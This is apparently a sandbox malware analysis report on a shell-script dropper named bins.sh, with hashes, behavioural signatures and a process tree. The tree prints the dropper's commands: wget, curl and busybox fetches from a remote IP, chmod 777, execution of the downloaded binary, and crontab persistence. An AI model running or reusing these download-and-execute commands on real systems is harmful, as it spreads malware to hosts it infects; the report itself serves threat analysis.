Analysis
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max time kernel
149s -
max time network
150s -
platform
ubuntu-18.04_amd64 -
resource
ubuntu1804-amd64-20240611-en -
resource tags
arch:amd64arch:i386image:ubuntu1804-amd64-20240611-enkernel:4.15.0-213-genericlocale:en-usos:ubuntu-18.04-amd64system -
submitted
04-11-2024 15:51
Static task
static1
Behavioral task
behavioral1
Sample
bins.sh
Resource
ubuntu1804-amd64-20240611-en
Behavioral task
behavioral2
Sample
bins.sh
Resource
debian9-armhf-20240611-en
Behavioral task
behavioral3
Sample
bins.sh
Resource
debian9-mipsbe-20240729-en
Behavioral task
behavioral4
Sample
bins.sh
Resource
debian9-mipsel-20240611-en
General
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Target
bins.sh
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Size
10KB
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MD5
898d2a8094e95f2f2f209d428d2b92ee
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SHA1
54d0f3fd153a1d6b01517f1edb40a857c0e99f30
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SHA256
c92c00e4a850ad8e04046670752a4df1f859bec56c7ab8ec7b79e187d76d11b2
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SHA512
b35541605c8b1b92212cb1c5ca69ec259257a3fb89fc3d88bd487b1ee81dec4867611b2d0ae14ce7c25cf6a66af314f8ef488d11ce067687626373ceee2af062
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SSDEEP
192:9l/XbGStJNVIZNW/nDQvP2QcdCSFXbN5NVIZNMnDQvP2QcdCSr:9lySDNVIZNW/nDQvPqNVIZNMnDQvPq
Malware Config
Signatures
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Contacts a large (1781) amount of remote hosts 1 TTPs
This may indicate a network scan to discover remotely running services.
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File and Directory Permissions Modification 1 TTPs 1 IoCs
Adversaries may modify file or directory permissions to evade defenses.
Processes:
chmodpid Process 1514 chmod -
Executes dropped EXE 1 IoCs
Processes:
sHBnnGbWSE4VpL5lkieIJSRTX17DmNrXrrioc pid Process /tmp/sHBnnGbWSE4VpL5lkieIJSRTX17DmNrXrr 1515 sHBnnGbWSE4VpL5lkieIJSRTX17DmNrXrr -
Renames itself 1 IoCs
Processes:
sHBnnGbWSE4VpL5lkieIJSRTX17DmNrXrrpid Process 1516 sHBnnGbWSE4VpL5lkieIJSRTX17DmNrXrr -
Creates a large amount of network flows 1 TTPs
This may indicate a network scan to discover remotely running services.
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Creates/modifies Cron job 1 TTPs 1 IoCs
Cron allows running tasks on a schedule, and is commonly used for malware persistence.
Processes:
crontabdescription ioc Process File opened for modification /var/spool/cron/crontabs/tmp.gnH9uM crontab -
Enumerates running processes
Discovers information about currently running processes on the system
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Processes:
sHBnnGbWSE4VpL5lkieIJSRTX17DmNrXrrdescription ioc Process File opened for reading /proc/409/cmdline sHBnnGbWSE4VpL5lkieIJSRTX17DmNrXrr File opened for reading /proc/1577/cmdline sHBnnGbWSE4VpL5lkieIJSRTX17DmNrXrr File opened for reading /proc/1601/cmdline sHBnnGbWSE4VpL5lkieIJSRTX17DmNrXrr File opened for reading /proc/1605/cmdline sHBnnGbWSE4VpL5lkieIJSRTX17DmNrXrr File opened for reading /proc/1692/cmdline sHBnnGbWSE4VpL5lkieIJSRTX17DmNrXrr File opened for reading /proc/1696/cmdline sHBnnGbWSE4VpL5lkieIJSRTX17DmNrXrr File opened for reading /proc/6/cmdline sHBnnGbWSE4VpL5lkieIJSRTX17DmNrXrr File opened for reading /proc/648/cmdline sHBnnGbWSE4VpL5lkieIJSRTX17DmNrXrr File opened for reading /proc/958/cmdline sHBnnGbWSE4VpL5lkieIJSRTX17DmNrXrr File opened for reading /proc/1006/cmdline sHBnnGbWSE4VpL5lkieIJSRTX17DmNrXrr File opened for reading /proc/1141/cmdline sHBnnGbWSE4VpL5lkieIJSRTX17DmNrXrr File opened for reading /proc/13/cmdline sHBnnGbWSE4VpL5lkieIJSRTX17DmNrXrr File opened for reading /proc/17/cmdline sHBnnGbWSE4VpL5lkieIJSRTX17DmNrXrr File opened for reading /proc/1163/cmdline sHBnnGbWSE4VpL5lkieIJSRTX17DmNrXrr File opened for reading /proc/1583/cmdline sHBnnGbWSE4VpL5lkieIJSRTX17DmNrXrr File opened for reading /proc/1653/cmdline sHBnnGbWSE4VpL5lkieIJSRTX17DmNrXrr File opened for reading /proc/1648/cmdline sHBnnGbWSE4VpL5lkieIJSRTX17DmNrXrr File opened for reading /proc/5/cmdline sHBnnGbWSE4VpL5lkieIJSRTX17DmNrXrr File opened for reading /proc/82/cmdline sHBnnGbWSE4VpL5lkieIJSRTX17DmNrXrr File opened for reading /proc/205/cmdline sHBnnGbWSE4VpL5lkieIJSRTX17DmNrXrr File opened for reading /proc/1180/cmdline sHBnnGbWSE4VpL5lkieIJSRTX17DmNrXrr File opened for reading /proc/1600/cmdline sHBnnGbWSE4VpL5lkieIJSRTX17DmNrXrr File opened for reading /proc/115/cmdline sHBnnGbWSE4VpL5lkieIJSRTX17DmNrXrr File opened for reading /proc/1592/cmdline sHBnnGbWSE4VpL5lkieIJSRTX17DmNrXrr File opened for reading /proc/1637/cmdline sHBnnGbWSE4VpL5lkieIJSRTX17DmNrXrr File opened for reading /proc/529/cmdline sHBnnGbWSE4VpL5lkieIJSRTX17DmNrXrr File opened for reading /proc/1157/cmdline sHBnnGbWSE4VpL5lkieIJSRTX17DmNrXrr File opened for reading /proc/1169/cmdline sHBnnGbWSE4VpL5lkieIJSRTX17DmNrXrr File opened for reading /proc/1576/cmdline sHBnnGbWSE4VpL5lkieIJSRTX17DmNrXrr File opened for reading /proc/1688/cmdline sHBnnGbWSE4VpL5lkieIJSRTX17DmNrXrr File opened for reading /proc/3/cmdline sHBnnGbWSE4VpL5lkieIJSRTX17DmNrXrr File opened for reading /proc/1342/cmdline sHBnnGbWSE4VpL5lkieIJSRTX17DmNrXrr File opened for reading /proc/1630/cmdline sHBnnGbWSE4VpL5lkieIJSRTX17DmNrXrr File opened for reading /proc/1644/cmdline sHBnnGbWSE4VpL5lkieIJSRTX17DmNrXrr File opened for reading /proc/89/cmdline sHBnnGbWSE4VpL5lkieIJSRTX17DmNrXrr File opened for reading /proc/1068/cmdline sHBnnGbWSE4VpL5lkieIJSRTX17DmNrXrr File opened for reading /proc/1509/cmdline sHBnnGbWSE4VpL5lkieIJSRTX17DmNrXrr File opened for reading /proc/1623/cmdline sHBnnGbWSE4VpL5lkieIJSRTX17DmNrXrr File opened for reading /proc/1625/cmdline sHBnnGbWSE4VpL5lkieIJSRTX17DmNrXrr File opened for reading /proc/20/cmdline sHBnnGbWSE4VpL5lkieIJSRTX17DmNrXrr File opened for reading /proc/1011/cmdline sHBnnGbWSE4VpL5lkieIJSRTX17DmNrXrr File opened for reading /proc/1542/cmdline sHBnnGbWSE4VpL5lkieIJSRTX17DmNrXrr File opened for reading /proc/1570/cmdline sHBnnGbWSE4VpL5lkieIJSRTX17DmNrXrr File opened for reading /proc/1580/cmdline sHBnnGbWSE4VpL5lkieIJSRTX17DmNrXrr File opened for reading /proc/1676/cmdline sHBnnGbWSE4VpL5lkieIJSRTX17DmNrXrr File opened for reading /proc/31/cmdline sHBnnGbWSE4VpL5lkieIJSRTX17DmNrXrr File opened for reading /proc/79/cmdline sHBnnGbWSE4VpL5lkieIJSRTX17DmNrXrr File opened for reading /proc/441/cmdline sHBnnGbWSE4VpL5lkieIJSRTX17DmNrXrr File opened for reading /proc/1500/cmdline sHBnnGbWSE4VpL5lkieIJSRTX17DmNrXrr File opened for reading /proc/1627/cmdline sHBnnGbWSE4VpL5lkieIJSRTX17DmNrXrr File opened for reading /proc/1255/cmdline sHBnnGbWSE4VpL5lkieIJSRTX17DmNrXrr File opened for reading /proc/1551/cmdline sHBnnGbWSE4VpL5lkieIJSRTX17DmNrXrr File opened for reading /proc/1604/cmdline sHBnnGbWSE4VpL5lkieIJSRTX17DmNrXrr File opened for reading /proc/4/cmdline sHBnnGbWSE4VpL5lkieIJSRTX17DmNrXrr File opened for reading /proc/30/cmdline sHBnnGbWSE4VpL5lkieIJSRTX17DmNrXrr File opened for reading /proc/161/cmdline sHBnnGbWSE4VpL5lkieIJSRTX17DmNrXrr File opened for reading /proc/912/cmdline sHBnnGbWSE4VpL5lkieIJSRTX17DmNrXrr File opened for reading /proc/1176/cmdline sHBnnGbWSE4VpL5lkieIJSRTX17DmNrXrr File opened for reading /proc/1632/cmdline sHBnnGbWSE4VpL5lkieIJSRTX17DmNrXrr File opened for reading /proc/1641/cmdline sHBnnGbWSE4VpL5lkieIJSRTX17DmNrXrr File opened for reading /proc/1681/cmdline sHBnnGbWSE4VpL5lkieIJSRTX17DmNrXrr File opened for reading /proc/444/cmdline sHBnnGbWSE4VpL5lkieIJSRTX17DmNrXrr File opened for reading /proc/1186/cmdline sHBnnGbWSE4VpL5lkieIJSRTX17DmNrXrr File opened for reading /proc/1334/cmdline sHBnnGbWSE4VpL5lkieIJSRTX17DmNrXrr -
Writes file to tmp directory 3 IoCs
Malware often drops required files in the /tmp directory.
Processes:
busyboxwgetcurldescription ioc Process File opened for modification /tmp/sHBnnGbWSE4VpL5lkieIJSRTX17DmNrXrr busybox File opened for modification /tmp/sHBnnGbWSE4VpL5lkieIJSRTX17DmNrXrr wget File opened for modification /tmp/sHBnnGbWSE4VpL5lkieIJSRTX17DmNrXrr curl
Processes
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/tmp/bins.sh/tmp/bins.sh1⤵PID:1506
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/bin/rm/bin/rm bins.sh2⤵PID:1507
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/usr/bin/wgetwget http://87.120.84.230/bins/sHBnnGbWSE4VpL5lkieIJSRTX17DmNrXrr2⤵
- Writes file to tmp directory
PID:1508
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/usr/bin/curlcurl -O http://87.120.84.230/bins/sHBnnGbWSE4VpL5lkieIJSRTX17DmNrXrr2⤵
- Writes file to tmp directory
PID:1512
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/bin/busybox/bin/busybox wget http://87.120.84.230/bins/sHBnnGbWSE4VpL5lkieIJSRTX17DmNrXrr2⤵
- Writes file to tmp directory
PID:1513
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/bin/chmodchmod 777 sHBnnGbWSE4VpL5lkieIJSRTX17DmNrXrr2⤵
- File and Directory Permissions Modification
PID:1514
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/tmp/sHBnnGbWSE4VpL5lkieIJSRTX17DmNrXrr./sHBnnGbWSE4VpL5lkieIJSRTX17DmNrXrr2⤵
- Executes dropped EXE
- Renames itself
- Reads runtime system information
PID:1515 -
/bin/shsh -c "crontab -l"3⤵PID:1517
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/usr/bin/crontabcrontab -l4⤵PID:1518
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/bin/shsh -c "crontab -"3⤵PID:1519
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/usr/bin/crontabcrontab -4⤵
- Creates/modifies Cron job
PID:1520
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/bin/rmrm sHBnnGbWSE4VpL5lkieIJSRTX17DmNrXrr2⤵PID:1522
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/usr/bin/wgetwget http://87.120.84.230/bins/0QiLtaxVhqjie2MrPePSMV1u8SNeuHNLaF2⤵PID:1525
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Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
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Filesize
112KB
MD505d7857dcead18bbd86d2935f591873c
SHA134d18f41ef35f93d5364ce3e24d74730a4e91985
SHA2562cb1fa4742268fb0196613aee7a39a08a0707b3ef8853280d5060c44f3650d70
SHA512d1793861067758a064ac1d59c80c78f9cb4b64dd680ab4a62dd050156dc0318dde590c7b44c1184c9ee926f73c3fc242662e42645faab6685ecef9d238d2e53e
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Filesize
210B
MD5b98ccf90731c9d7a5d3f24ee90d5cdcc
SHA1d48a100ac2106cbb911b0285f8e60ea5cd2a5ec2
SHA256eab5bb65bc76389df0ed3dad8218312e3f3279b04973506710c1b60c12e2ad5f
SHA512de61ff537a619fec58088dea4bd0827a27ed676c2c91dd1a9d0ff63b1ce989ff3e69789bb281c5564fb41f592800b77442995c82ab5d90e4a46e7baa402c8ff1